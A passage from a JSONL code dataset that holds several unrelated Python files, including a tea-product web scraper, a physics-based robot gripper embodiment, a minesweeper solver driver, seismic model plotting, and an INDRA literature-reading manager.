\"application/json\"})\n response_dict = response.json()\n result = response_dict.get(\"result\")\n model = result.get(\"model\")\n goods_info_list = model.get(\"list_Goods_Dto\")\n\n # 解析信息写入excel\n write_data_to_excel(goods=goods_info_list, sheet=sheet)\n\n # 组装下一页请求参数\n pageIndex = model.get(\"pageIndex\") + 1\n print(\"爬取完成第{}页\".format(pageIndex - 1))\n if pageIndex == 18:\n print(\"爬取完毕\")\n break\n\n isDesc = model.get(\"isDesc\")\n priceRange = model.get(\"priceRange\")\n sortName = model.get(\"sortName\")\n typeId = model.get(\"typeId\")\n\n data = {\n \"isDesc\": isDesc,\n \"pageIndex\": pageIndex,\n \"priceRange\": priceRange,\n \"sortName\": sortName,\n \"typeId\": typeId\n }\n\n\nif __name__ == '__main__':\n wb1 = Workbook()\n\n sheet1 = wb1.active\n\n sheet1.title = \"茶叶信息\"\n sheet1['A1'] = \"类别\"\n sheet1['B1'] = \"名称\"\n sheet1['C1'] = \"原价\"\n sheet1['D1'] = \"简介\"\n\n start_spider(sheet=sheet1)\n wb1.save(\"wangmeng.xlsx\")\n","sub_path":"coding/learn_spider/tea_spider.py","file_name":"tea_spider.py","file_ext":"py","file_size_in_byte":3687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"116636850","text":"import math\nfrom typing import Tuple, Union\n\nimport numpy as np\nimport pymunk as pm\n\nfrom xmagical import geom as gtools\nfrom xmagical import render as r\nfrom xmagical.style import COLORS_RGB, ROBOT_LINE_THICKNESS, darken_rgb, lighten_rgb\n\nfrom .base import NonHolonomicEmbodiment\n\n# pytype: disable=attribute-error\n\n\ndef make_finger_vertices(upper_arm_len, forearm_len, thickness, side_sign):\n \"\"\"Make annoying finger polygons coordinates. Corresponding composite shape\n will have origin at root of upper arm, with upper arm oriented straight\n upwards and forearm above it.\"\"\"\n up_shift = upper_arm_len / 2\n upper_arm_vertices = gtools.rect_verts(thickness, upper_arm_len)\n forearm_vertices = gtools.rect_verts(thickness, forearm_len)\n # Now rotate upper arm into place & then move it to correct position.\n upper_start = pm.vec2d.Vec2d(side_sign * thickness / 2, upper_arm_len / 2)\n forearm_offset_unrot = pm.vec2d.Vec2d(-side_sign * thickness / 2, forearm_len / 2)\n rot_angle = side_sign * math.pi / 8\n forearm_trans = upper_start + forearm_offset_unrot.rotated(rot_angle)\n forearm_trans.y += up_shift\n forearm_vertices_trans = [\n v.rotated(rot_angle) + forearm_trans for v in forearm_vertices\n ]\n for v in upper_arm_vertices:\n v.y += up_shift\n upper_arm_verts_final = [(v.x, v.y) for v in upper_arm_vertices]\n forearm_verts_final = [(v.x, v.y) for v in forearm_vertices_trans]\n return upper_arm_verts_final, forearm_verts_final\n\n\nclass NonHolonomicGripperEmbodiment(NonHolonomicEmbodiment):\n \"\"\"A non-holonomic embodiment with fingers that open and close.\"\"\"\n\n DOF = 3 # Degrees of freedom.\n\n def __init__(self, *args, **kwargs) -> None:\n super().__init__(*args, **kwargs)\n\n # Max angle from vertical on inner side and outer.\n self.finger_rot_limit_outer = math.pi / 8\n self.finger_rot_limit_inner = 0.0\n\n self.finger_thickness = 0.25 * self.radius\n self.finger_upper_length = 1.1 * self.radius\n self.finger_lower_length = 0.7 * self.radius\n\n self.robot_color = COLORS_RGB[\"grey\"]\n\n self.eye_txty = (0.4 * self.radius, 0.3 * self.radius)\n\n def _setup_body(self):\n inertia = pm.moment_for_circle(self.mass, 0, self.radius, (0, 0))\n self.body = pm.Body(self.mass, inertia)\n\n def _setup_extra_bodies(self):\n super()._setup_extra_bodies()\n\n # Finger bodies/controls (annoying).\n self.finger_bodies = []\n self.finger_motors = []\n self.finger_vertices = []\n self.finger_inner_vertices = []\n self.target_finger_angle = 0.0\n for finger_side in [-1, 1]:\n # Basic finger body.\n finger_verts = make_finger_vertices(\n upper_arm_len=self.finger_upper_length,\n forearm_len=self.finger_lower_length,\n thickness=self.finger_thickness,\n side_sign=finger_side,\n )\n self.finger_vertices.append(finger_verts)\n finger_inner_verts = make_finger_vertices(\n upper_arm_len=self.finger_upper_length - ROBOT_LINE_THICKNESS * 2,\n forearm_len=self.finger_lower_length - ROBOT_LINE_THICKNESS * 2,\n thickness=self.finger_thickness - ROBOT_LINE_THICKNESS * 2,\n side_sign=finger_side,\n )\n finger_inner_verts = [\n [(x, y + ROBOT_LINE_THICKNESS) for x, y in box]\n for box in finger_inner_verts\n ]\n self.finger_inner_vertices.append(finger_inner_verts)\n\n # These are movement limits; they are useful below, but also\n # necessary to make initial positioning work.\n if finger_side < 0:\n lower_rot_lim = -self.finger_rot_limit_inner\n upper_rot_lim = self.finger_rot_limit_outer\n if finger_side > 0:\n lower_rot_lim = -self.finger_rot_limit_outer\n upper_rot_lim = self.finger_rot_limit_inner\n finger_mass = self.mass / 8\n finger_inertia = pm.moment_for_poly(finger_mass, sum(finger_verts, []))\n finger_body = pm.Body(finger_mass, finger_inertia)\n if finger_side < 0:\n delta_finger_angle = upper_rot_lim\n finger_body.angle = self.init_angle + delta_finger_angle\n else:\n delta_finger_angle = lower_rot_lim\n finger_body.angle = self.init_angle + delta_finger_angle\n\n # Position of finger relative to body.\n finger_rel_pos = (\n finger_side * self.radius * 0.45,\n self.radius * 0.1,\n )\n finger_rel_pos_rot = gtools.rotate_vec(finger_rel_pos, self.init_angle)\n finger_body.position = gtools.add_vecs(\n self.body.position, finger_rel_pos_rot\n )\n self.add_to_space(finger_body)\n self.finger_bodies.append(finger_body)\n\n # Pivot joint to keep it in place (it will rotate around this\n # point).\n finger_piv = pm.PivotJoint(self.body, finger_body, finger_body.position)\n finger_piv.error_bias = 0.0\n self.add_to_space(finger_piv)\n\n # Rotary limit joint to stop it from getting too far out of line.\n finger_limit = pm.RotaryLimitJoint(\n self.body, finger_body, lower_rot_lim, upper_rot_lim\n )\n finger_limit.error_bias = 0.0\n self.add_to_space(finger_limit)\n\n # Motor to move the fingers around (very limited in power so as not\n # to conflict with rotary limit joint).\n finger_motor = pm.SimpleMotor(self.body, finger_body, 0.0)\n finger_motor.rate = 0.0\n finger_motor.max_bias = 0.0\n finger_motor.max_force = self.phys_vars.robot_finger_max_force\n self.add_to_space(finger_motor)\n self.finger_motors.append(finger_motor)\n\n def _setup_shape(self):\n friction = 0.5\n robot_group = 1\n self.shape = pm.Circle(self.body, self.radius, (0, 0))\n self.shape.filter = pm.ShapeFilter(group=robot_group)\n self.shape.friction = friction\n\n def _setup_extra_shapes(self):\n robot_group = 1\n finger_friction = 5.0 # Grippy fingers.\n self.finger_shapes = []\n for finger_body, finger_verts, finger_side in zip(\n self.finger_bodies, self.finger_vertices, [-1, 1]\n ):\n finger_subshapes = []\n for finger_subverts in finger_verts:\n finger_subshape = pm.Poly(finger_body, finger_subverts)\n finger_subshape.filter = pm.ShapeFilter(group=robot_group)\n finger_subshape.friction = finger_friction\n finger_subshapes.append(finger_subshape)\n self.finger_shapes.append(finger_subshapes)\n self.extra_shapes.extend(finger_subshapes)\n\n def _setup_graphic(self):\n graphics_body = r.make_circle(self.radius, 100, True)\n dark_robot_color = darken_rgb(self.robot_color)\n graphics_body.color = self.robot_color\n graphics_body.outline_color = dark_robot_color\n self.graphic_bodies.append(graphics_body)\n\n def _setup_extra_graphics(self):\n super()._setup_extra_graphics()\n\n light_robot_color = lighten_rgb(self.robot_color, 4)\n self.finger_xforms = []\n finger_outer_geoms = []\n finger_inner_geoms = []\n for finger_outer_subshapes, finger_inner_verts, finger_side in zip(\n self.finger_shapes, self.finger_inner_vertices, [-1, 1]\n ):\n finger_xform = r.Transform()\n self.finger_xforms.append(finger_xform)\n for finger_subshape in finger_outer_subshapes:\n vertices = [(v.x, v.y) for v in finger_subshape.get_vertices()]\n finger_outer_geom = r.Poly(vertices, False)\n finger_outer_geom.color = self.robot_color\n finger_outer_geom.add_transform(finger_xform)\n finger_outer_geoms.append(finger_outer_geom)\n for vertices in finger_inner_verts:\n finger_inner_geom = r.Poly(vertices, False)\n finger_inner_geom.color = light_robot_color\n finger_inner_geom.add_transform(finger_xform)\n finger_inner_geoms.append(finger_inner_geom)\n for geom in finger_outer_geoms:\n self.viewer.add_geom(geom)\n for geom in finger_inner_geoms:\n self.viewer.add_geom(geom)\n\n def set_action(\n self,\n action: Union[np.ndarray, Tuple[float, float, float]],\n ) -> None:\n assert len(action) == NonHolonomicGripperEmbodiment.DOF\n\n super().set_action(action[:2])\n\n self.target_finger_angle = np.clip(\n self.finger_rot_limit_outer - action[2],\n 0,\n self.finger_rot_limit_outer,\n )\n\n def update(self, dt: float) -> None:\n super().update(dt)\n\n for finger_body, finger_motor, finger_side in zip(\n self.finger_bodies, self.finger_motors, [-1, 1]\n ):\n rel_angle = finger_body.angle - self.body.angle\n # For the left finger, the target angle is measured\n # counterclockwise; for the right, it's measured clockwise\n # (chipmunk is always counterclockwise).\n angle_error = rel_angle + finger_side * self.target_finger_angle\n target_rate = max(-1, min(1, angle_error * 10))\n if abs(target_rate) < 1e-4:\n target_rate = 0.0\n finger_motor.rate = target_rate\n\n def pre_draw(self) -> None:\n super().pre_draw()\n\n for finger_xform, finger_body in zip(self.finger_xforms, self.finger_bodies):\n finger_xform.reset(\n translation=finger_body.position, rotation=finger_body.angle\n )\n\n @property\n def finger_width(self):\n diff_angle = self.finger_bodies[0].angle - self.finger_bodies[1].angle\n diff_angle = np.degrees(diff_angle) / 45 # [0, 1]\n return np.clip(diff_angle, 0.0, 1.0)\n","sub_path":"xmagical/entities/embodiments/gripper.py","file_name":"gripper.py","file_ext":"py","file_size_in_byte":10166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"141539633","text":"import pandas as pd\nimport os\nimport argparse\nimport matplotlib.pyplot as plt\n\ndef visualize(args):\n log_dir = os.getcwd() + \"/Log\"\n file_list = os.listdir(log_dir)\n result = pd.read_csv(log_dir + \"/\" + file_list[1])\n plt.plot(result[args.type])\n plt.xlabel(\"Episode\")\n plt.ylabel(args.type)\n directory = \"Result\"\n if not os.path.exists(directory):\n os.makedirs(directory)\n plt.savefig(directory + \"/ \" + args.type + \".png\")\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Result visualize.')\n parser.add_argument('--type', help=\"What do you want to visualize\")\n\n args = parser.parse_args()\n visualize(args)\n","sub_path":"PPO/Result_visualize.py","file_name":"Result_visualize.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"313026665","text":" #!/usr/bin/env python3\n\n\"\"\"\nCopyright 2020, University of Freiburg\nBachelor-project - Foundations of Artificial Intelligence\n\nAuthor: Marco Kaiser \n\nDescription:\n\tThis script was provided by the team of the AI - chair\n\tand it should get extended so the minesweeper is fully\n\tfunctional by creating the needed constraints in the\n\tother provided file (minesweeper_csp.py).\n\nUsage:\n\tpython3 minesweeper_main.py --fast --board 15 15\n\n\tFor more information about the usage please use the\n\t-h flag when executing the script.\n\n\"\"\"\n\nfrom minesweeper_board import *\nfrom minesweeper_csp import *\nimport argparse \n\ndef main(args):\n\tif args.board is None:\n\t\tboard = Board(10,10)\n\t\tboard.insert_bomb(3,1)\n\t\tboard.insert_bomb(5,1)\n\t\tboard.insert_bomb(5,2)\n\t\tboard.insert_bomb(5,4)\n\t\tboard.insert_bomb(1,5)\n\t\tboard.insert_bomb(2,5)\n\t\tboard.insert_bomb(5,5)\n\t\tboard.insert_bomb(8,8)\n\t\tboard.insert_bomb(8,9)\n\t\tboard.insert_bomb(3,8)\n\t\tboard.insert_bomb(8,3)\n\telse: \n\t\tboard = Board(args.board[0],args.board[0])\n\t\tboard.random_board(args.board[1])\n\tprint(\"Selcted cell: \" + str((0,0)))\n\tboard.uncover_cell(0,0)\n\tif not args.fast:\n\t\tboard.dump()\n\twhile not board.is_solved():\n\t\tif not args.fast:\n\t\t\tinput(\"Press Enter to continue...\")\n\t\t\tprint(\"-----------------------------\")\n\t\tcsp = Csp(board)\n\t\tnext_cell = csp.next_cell()\n\t\tprint(\"Selcted cell: \" + str(next_cell))\n\t\tsuccess = board.uncover_cell(next_cell[0], next_cell[1])\n\t\tif not success:\n\t\t\tprint(\"Select cell is a bombe! FAIL!\")\n\t\t\tbreak\n\t\tif not args.fast:\n\t\t\tboard.dump()\n\t\t\tprint()\n\t\t\n\tif board.is_solved():\n\t\tprint(\"-----------------------------\")\n\t\tprint(\"-----------------------------\")\n\t\tprint(\"SOLVED!!!\")\n\t\tboard.dump()\n\nif __name__ == '__main__':\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument(\"--fast\", help=\"fast mode\", action=\"store_true\")\n\tparser.add_argument(\"--board\", help=\"random board with d n: d=dimensions, m=#mines\", nargs='+', type=int)\n\targs = parser.parse_args()\n\tmain(args)\n","sub_path":"sheet02/Exercise_01/minesweeper_main.py","file_name":"minesweeper_main.py","file_ext":"py","file_size_in_byte":1989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"434210278","text":"import requests\nimport pandas as pd\nfrom bs4 import BeautifulSoup\nimport re\n\n# \"steamdb_tag_codes_raw.txt\" is the raw source from the page \"view-source:https://steamdb.info/tags/\"\n\n# HERE I PARSE THE HTML TO GET THE TAG NAME, TAG CODE AND COUNT\n\nwith open('steamdb_tag_codes_raw.txt') as f:\n read_data = f.read()\n page_content = BeautifulSoup(read_data, \"html.parser\")\n\nlist_of_links = page_content.find_all(\"a\", {\"class\": \"label-link\"}, href=True)\n\nlist_of_codes = []\n\nfor lnk in list_of_links:\n list_of_codes.append(re.findall(\"(?<=tag/)(.*)(?=/ )\", str(lnk))[0])\n\nlist_of_counts = page_content.find_all(\"span\", {\"class\": \"label-count\"})\n\nlist_of_counts_clean = []\n\nfor cnt in list_of_counts:\n list_of_counts_clean.append(re.findall('(?<=\\)(.*)(?= products)', str(cnt))[0])\n\nall_rows=[]\n\nfor i in range(len(list_of_links)):\n current_row = [list_of_codes[i], list_of_links[i].text, list_of_counts_clean[i]]\n all_rows.append(current_row)\n\ndf = pd.DataFrame(all_rows, columns = ['tag_code', 'tag_name', 'tag_count'])\n \ndf.to_csv(\"tag_names_codes_counts.csv\", index=False)","sub_path":"step0_get_tag_codes.py","file_name":"step0_get_tag_codes.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"275092568","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Mar 9 07:33:21 2018\n\n@author: emily\n\"\"\"\n\nsave_name = 'MBEY_Ps_10'\n\n\nimport pipeline\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport shutil\n\nshutil.copyfile('./output/'+save_name+'/input_data.py', './input_data.py')\n\nimport input_data\n\nrf_obs, swd_obs, all_lims = input_data.LoadObservations()\n\nsave_name = 'output/'+save_name+'/'+save_name\nall_models = np.load(save_name+'_AllModels.npy')\n\ngood_mods = all_models[:,np.where(all_models[0,]>0)[0]]\nnit = good_mods.shape[1]\ngood_mods = good_mods[:,-int(nit/5):]\nmean_mod = np.mean(good_mods, axis = 1)\nstd_mod = np.std(good_mods, axis = 1)\n\ngood_mod = pipeline.Model(vs = mean_mod, all_deps = all_models[:,0],\n idep = np.arange(0,mean_mod.size),\n lam_rf = 0, std_rf = 0, std_swd = 0)\nfullmodel = pipeline.MakeFullModel(good_mod)\n\n\n\nfig1 = plt.figure();\n\nax1 = plt.subplot(131)\nfor k in range(all_models[1,].size-1):\n colstr = str(0.75-k/2/all_models[1,].size)\n ax1.plot(all_models[:,k],all_models[:,0],\n '-',linewidth=1,color=colstr)\nax1.set_ylim((195,0))\n#ax1.plot(actual_model,all_models[:,0],'r-',linewidth=3)\nax1.set_xlim((2,5.5))\nax1.set_xlabel('Shear Velocity (km/s)')\nax1.set_ylabel('Depth (km)')\nax1.set_title(\"{} iterations\".format(nit*100))\n\nax3 = plt.subplot(132)\nfor k in range(good_mods[0,].size-1):\n colstr = str(0.85-k/2/good_mods[0,].size)\n ax3.plot(good_mods[:,k],all_models[:,0],\n '-',linewidth=1,color=colstr)\nax3.plot(mean_mod,all_models[:,0],'b-',linewidth = 2)\nax3.plot(mean_mod+std_mod, all_models[:,0],'c-',linewidth = 1)\nax3.plot(mean_mod-std_mod, all_models[:,0],'c-',linewidth = 1)\n#ax3.plot(actual_model,all_models[:,0],'r--',linewidth=1)\nax3.set_xlim((2,5.5))\nax3.set_ylim((195,0))\nax3.set_xlabel('Shear Velocity (km/s)')\nax3.set_ylabel('Depth (km)')\nax3.set_title('Most recent {}'.format(good_mods.shape[1]))\n\nax4 = plt.subplot(133)\nfor k in range(good_mods[0,].size-1):\n colstr = str(0.85-k/2/good_mods[0,].size)\n ax4.plot(good_mods[:,k],all_models[:,0],\n '-',linewidth=1,color=colstr)\nax4.plot(mean_mod,all_models[:,0],'b-',linewidth = 2)\nax4.plot(mean_mod+std_mod, all_models[:,0],'c-',linewidth = 1)\nax4.plot(mean_mod-std_mod, all_models[:,0],'c-',linewidth = 1)\n#ax3.plot(actual_model,all_models[:,0],'r--',linewidth=1)\n#ax4.set_xlim((1.5,5))\nax4.set_ylim((60,0))\nax4.set_xlabel('Shear Velocity (km/s)')\nax4.set_ylabel('Depth (km)')\nax4.set_title('Most recent {}'.format(good_mods.shape[1]))\n\n\n\n\nplt.tight_layout()\n\n\n\nallvels = np.arange(all_lims.vs[0],all_lims.vs[1],0.01)\nevendeps = np.arange(0,all_models[-1,0],0.1)\ni_ed = np.zeros(evendeps.shape, dtype = int)\nfor k in range(all_models[:,0].size-1,0,-1):\n i_ed[all_models[k,0]>=evendeps] = k\n\nmod_space = np.zeros((evendeps.size,allvels.size))\nfor k in range(1,good_mods.shape[1]):\n even_vels = good_mods[i_ed,-k]\n inds = np.round(even_vels-all_lims.vs[0],2)/0.01-1\n inds = inds.astype(int)\n mod_space[range(mod_space.shape[0]),inds] += 1\n\nfig2 = plt.figure()\nax2 = plt.subplot(121)\nax2.imshow(np.log10(mod_space[-1::-1]+1e-1), cmap = 'viridis', aspect = allvels[-1]/evendeps[-1],\n extent = [allvels[0], allvels[-1], evendeps[0], evendeps[-1]])\nax2.invert_yaxis()\nax2.set_xlabel('Shear Velocity (km/s)')\nax2.set_ylabel('Depth (km)')\nax2.xaxis.set_label_position('top')\nax2.xaxis.tick_top()\nax2.set_xlim((1.5,5))\n\nsynth_swd = pipeline.SynthesiseSWD(fullmodel, swd_obs.period, 1e6)\nsynth_rf = pipeline.SynthesiseRF(fullmodel, rf_obs)\n\n\nplt.figure(figsize = (10,8));\nplt.subplot(121); plt.title('Receiver Function\\n real: red; synth: grey')\nrft = np.arange(0,rf_obs.dt*rf_obs.amp.size,rf_obs.dt)\nplt.plot(rf_obs.amp, rft, 'r-', linewidth=2)\nplt.plot(synth_rf.amp,rft, '-',color = '0.25', linewidth=2)\nplt.plot(rf_obs.amp-0.02,rft, 'r--', linewidth=1)\nplt.plot(rf_obs.amp+0.02,rft, 'r--', linewidth=1)\nplt.ylim(30,0)\n\nplt.subplot(122); plt.title('Surface Wave Dispersion\\n real: red; synth: grey')\nplt.plot(swd_obs.period, swd_obs.c, 'r-', linewidth=2)\nplt.plot(synth_swd.period, synth_swd.c, '-',color = '0.25', linewidth=2)\nplt.plot(swd_obs.period, swd_obs.c-0.025, 'r--', linewidth=1)\nplt.plot(swd_obs.period, swd_obs.c+0.025, 'r--', linewidth=1)\nplt.tight_layout()\n\n\nmisfits = np.load(save_name+'_Misfit.npy')\nnm = int(misfits.size/3)\nplt.figure(); plt.title(\"Mahalanobis distance (least squares misfit - phi)\")\nplt.plot(np.log10(misfits[:nm]));\nplt.ylim(0.9*np.log10(np.min(misfits[:nm])),\n 1.1*np.log10(np.max(misfits[10:nm])))\n\nplt.figure(); plt.title(\"Likelihood of accepting new model - alpha(m|m0)\")\nplt.plot(np.log10(misfits[nm+1:2*nm]));\nplt.ylim(0.9*np.log10(np.min(misfits[nm+1:2*nm])),\n 1.1*np.log10(np.max(misfits[nm+10:2*nm])))\n\nplt.figure(); plt.title('Acceptance Rate')\nplt.plot(misfits[-nm:]*100)","sub_path":"plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":4841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"125298312","text":"import random\nfrom character import character\nclass adventurer(character):\n\tdef __init__(self):\n\t\t\tcharacter.__init__(self, None, None, None, None)\n\t\t\tgender = random.randint(0,1)\n\t\t\tif gender == 0:\n\t\t\t\tself.gender = \"male\"\n\t\t\telse:\n\t\t\t\tself.gender = \"female\"\n\t\t\tif self.gender == \"male\":\n\t\t\t\tCname = open(\"maleName.txt\")\n\t\t\t\tfor number in range(0, random.randint(1,10)):\n\t\t\t\t\tname = Cname.readline()\n\t\t\t\tself.name = name.strip()\n\t\t\telse:\n\t\t\t\tCname = open(\"femaleName.txt\")\n\t\t\t\tfor number in range(0, random.randint(1,10)):\n\t\t\t\t\tname = Cname.readline()\n\t\t\t\tself.name = name.strip()\n\t\t\tCattribute = open(\"adventurerAttribute.txt\")\n\t\t\tfor number in range(0, random.randint(1,10)):\n\t\t\t\tattribute = Cattribute.readline()\n\t\t\tself.physical_traits = attribute.strip()\n\t\t\tCnotable_item = open(\"adventurerItem.txt\")\n\t\t\tfor number in range(0, random.randint(1,3)):\n\t\t\t\titem = Cnotable_item.readline()\n\t\t\tself.notable_item = item.strip()\n\n\n\t\t\tdef get_description(self):\n\t\t\t\tstring = \"A \" + self.physical_traits + \"adventurer, named \" + self.name + \"with a \" + self.notable_item\n\t\t\t\treturn string\n","sub_path":"characters/adventurer/adventurer.py","file_name":"adventurer.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"34609517","text":"from __future__ import absolute_import, print_function, unicode_literals\nfrom builtins import dict, str, int\n\nimport logging\nfrom os import path\nfrom functools import wraps\nfrom datetime import datetime, timedelta\nfrom indra.db.util import get_primary_db, get_test_db\nfrom indra.tools.reading.submit_reading_pipeline import submit_db_reading,\\\n wait_for_complete\n\nif __name__ == '__main__':\n # NOTE: PEP8 will complain about this, however having the args parsed up\n # here prevents a long wait just to fined out you entered a command wrong.\n from argparse import ArgumentParser\n parser = ArgumentParser(\n description='Manage content on INDRA\\'s database.'\n )\n parser.add_argument(\n choices=['read_all', 'read_new'],\n dest='task',\n help=('Choose whether you want to read/reread everything, or only '\n 'read the content added since the last update. Note that content '\n 'from one day before the latests update will also be checked, to '\n 'avoid content update overlap errors.')\n )\n parser.add_argument(\n '-n', '--num_procs',\n dest='num_procs',\n type=int,\n default=1,\n help=('Select the number of processors to use during this operation. '\n 'Default is 1.')\n )\n parser.add_argument(\n '-t', '--test',\n action='store_true',\n help='Run tests using one of the designated test databases.'\n )\n parser.add_argument(\n '-b', '--buffer',\n type=int,\n default=1,\n help=('Set the number number of buffer days read prior to the most '\n 'recent update. The default is 1 day.')\n )\n parser.add_argument(\n '--use_batch',\n action='store_true',\n help=('Choose to run the update on amazon batch. Note that this '\n 'option will cause the -n/--num_procs option to be ignored.')\n )\n args = parser.parse_args()\n\nfrom indra.tools.reading.db_reading import read_db as rdb\nfrom indra.tools.reading.readers import get_reader\n\nlogger = logging.getLogger('reading_manager')\nTHIS_DIR = path.dirname(path.abspath(__file__))\n\n\nclass ReadingUpdateError(Exception):\n pass\n\n\nclass ReadingManager(object):\n def __init__(self, reader_name, buffer_days=1):\n self.reader = get_reader(reader_name)\n if self.reader is None:\n raise ReadingUpdateError('Name of reader was not matched to an '\n 'available reader.')\n self.buffer = timedelta(days=buffer_days)\n self.reader_version = self.reader.get_version()\n self.run_datetime = None\n self.begin_datetime = None\n self.end_datetime = None\n return\n\n @classmethod\n def _handle_update_table(cls, func):\n @wraps(func)\n def run_and_record_update(self, db, *args, **kwargs):\n self.run_datetime = datetime.utcnow()\n completed = func(self, db, *args, **kwargs)\n if completed:\n is_complete_read = (func.__name__ == 'read_all')\n db.insert('reading_updates', complete_read=is_complete_read,\n reader=self.reader.name,\n reader_version=self.reader_version,\n run_datetime=self.run_datetime,\n earliest_datetime=self.begin_datetime,\n latest_datetime=self.end_datetime)\n return completed\n return run_and_record_update\n\n def _get_latest_updatetime(self, db):\n \"\"\"Get the date of the latest update.\"\"\"\n update_list = db.select_all(\n db.ReadingUpdates,\n db.ReadingUpdates.reader == self.reader.name\n )\n if not len(update_list):\n logger.error(\"The database has not had an initial upload, or else \"\n \"the updates table has not been populated.\")\n return False\n\n return max([u.latest_datetime for u in update_list])\n\n\nclass BulkReadingManager(ReadingManager):\n def run_reading(self, db, trids, n_proc, verbose, max_refs=5000,\n use_batch=False):\n if use_batch:\n if len(trids)/max_refs >= 1000:\n raise ReadingUpdateError(\"Too many id's for one submission. \"\n \"Break it up and do it manually.\")\n\n logger.info(\"Producing readings on aws for %d new text refs.\"\n % len(trids))\n job_prefix = ('%s_reading_%s'\n % (self.reader.name.lower(),\n self.run_datetime.strftime('%Y%m%d_%H%M%S')))\n with open(job_prefix + '.txt', 'w') as f:\n f.write('\\n'.join(['trid:%s' % trid for trid in trids]))\n logger.info(\"Submitting jobs...\")\n job_ids = submit_db_reading(job_prefix, job_prefix + '.txt',\n [self.reader.name.lower()], 0, None,\n max_refs, 2, False, False, False)\n logger.info(\"Waiting for complete...\")\n wait_for_complete('run_db_reading_queue', job_list=job_ids,\n job_name_prefix=job_prefix,\n idle_log_timeout=1200,\n kill_on_log_timeout=True,\n stash_log_method='s3')\n else:\n if len(trids) > max_refs:\n raise ReadingUpdateError(\"Too many id's to run locally. Try \"\n \"running on batch (use_batch).\")\n logger.info(\"Producing readings locally for %d new text refs.\"\n % len(trids))\n base_dir = path.join(THIS_DIR, 'read_all_%s' % self.reader.name)\n reader_inst = self.reader(base_dir=base_dir, n_proc=n_proc)\n\n logger.info(\"Making readings...\")\n outputs = rdb.produce_readings({'trid': trids}, [reader_inst],\n read_mode='unread_unread', db=db,\n prioritize=True, verbose=verbose)\n logger.info(\"Made %d readings.\" % len(outputs))\n logger.info(\"Making statements...\")\n rdb.produce_statements(outputs, n_proc=n_proc, db=db)\n return\n\n @ReadingManager._handle_update_table\n def read_all(self, db, n_proc=1, verbose=True, use_batch=False):\n \"\"\"Read everything available on the database.\"\"\"\n self.end_datetime = self.run_datetime\n trids = {trid for trid, in db.select_all(db.TextContent.text_ref_id)}\n self.run_reading(db, trids, n_proc, verbose, use_batch=use_batch)\n return True\n\n @ReadingManager._handle_update_table\n def read_new(self, db, n_proc=1, verbose=True, use_batch=False):\n \"\"\"Update the readings and raw statements in the database.\"\"\"\n self.end_datetime = self.run_datetime\n self.begin_datetime = self._get_latest_updatetime(db) - self.buffer\n trid_q = db.filter_query(\n db.TextContent.text_ref_id,\n db.TextContent.insert_date > self.begin_datetime\n )\n trids = {trid for trid, in trid_q.all()}\n self.run_reading(db, trids, n_proc, verbose, use_batch=use_batch)\n return True\n\n\nif __name__ == '__main__':\n if args.test:\n db = get_test_db()\n else:\n db = get_primary_db()\n\n bulk_managers = [BulkReadingManager(reader_name, buffer_days=args.buffer)\n for reader_name in ['SPARSER', 'REACH']]\n\n if args.task == 'read_all':\n for bulk_manager in bulk_managers:\n bulk_manager.read_all(db, n_proc=args.num_procs,\n use_batch=args.use_batch)\n elif args.task == 'read_new':\n for bulk_manager in bulk_managers:\n bulk_manager.read_new(db, n_proc=args.num_procs,\n use_batch=args.use_batch)\n","sub_path":"indra/db/reading_manager.py","file_name":"reading_manager.py","file_ext":"py","file_size_in_byte":7979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"269065606","text":"from airflow.operators.python_operator import PythonOperator\nfrom airflow.hooks.mysql_hook import MySqlHook\nfrom airflow.hooks.postgres_hook import PostgresHook\nfrom common.operators.base_emr_workflow import BaseEmrWorkflow\n\n\nclass RegistryEmrWorkflowV2(BaseEmrWorkflow):\n \"\"\"\n Class containing methods to access and alter information in the registry tables.\n \"\"\"\n\n def __init__(self, params):\n self.child = params.get(\"child\")\n self.stage_index = params.get(\"stage_index\", 0)\n self.conn_id = params.get(\"conn_id\", \"airflow_db\")\n self.conn_type = params.get(\"conn_type\", \"mysql\")\n\n def _create_conn(self):\n \"\"\"\n Function to create the connection to the DB which stores the registry table.\n \"\"\"\n if self.conn_type == \"mysql\":\n return MySqlHook(mysql_conn_id=self.conn_id)\n else:\n return PostgresHook(postgres_conn_id=self.conn_id)\n\n def _fetch_tstamps_full(self, params):\n \"\"\"\n Function to fetch the timestamps required for the full snapshot.\n\n :param params: Dict containing information for the full snapshot.\n :type params: dict\n\n :return (last_run, current_run): Timestamps signifying snapshot_start and snapshot_end datetime objects.\n :rtype: tuple\n \"\"\"\n conn = self._create_conn()\n # Check for any pending executions.\n pending_one = conn.get_first(self._sql_lookup(\"REGISTRY_PENDINGS\", params))\n\n if pending_one[0]:\n last_run = pending_one[0]\n else:\n last_run_records = conn.get_first(\n self._sql_lookup(\"REGISTRY_SELECT_MAX\", params)\n )\n\n if not last_run_records or not last_run_records[0]:\n last_run = self._datetime_format(datetime.now() - timedelta(days=1))\n else:\n last_run = last_run_records[0]\n\n current_run = self._datetime_format(datetime.now())\n\n return (last_run, current_run)\n\n def _fetch_tstamps_incremental(self, params):\n \"\"\"\n Function to fetch the timestamps required for the incremental snapshot.\n\n :param params: Dict containing information for the incremental snapshot.\n :type params: dict\n\n :return (last_run, current_run): Timestamps signifying snapshot_start and oeprator to fetch the snapshot_end from the source table using hiveql.\n :rtype: tuple(str, Operator)\n \"\"\"\n stage_params = params.copy()\n dag = 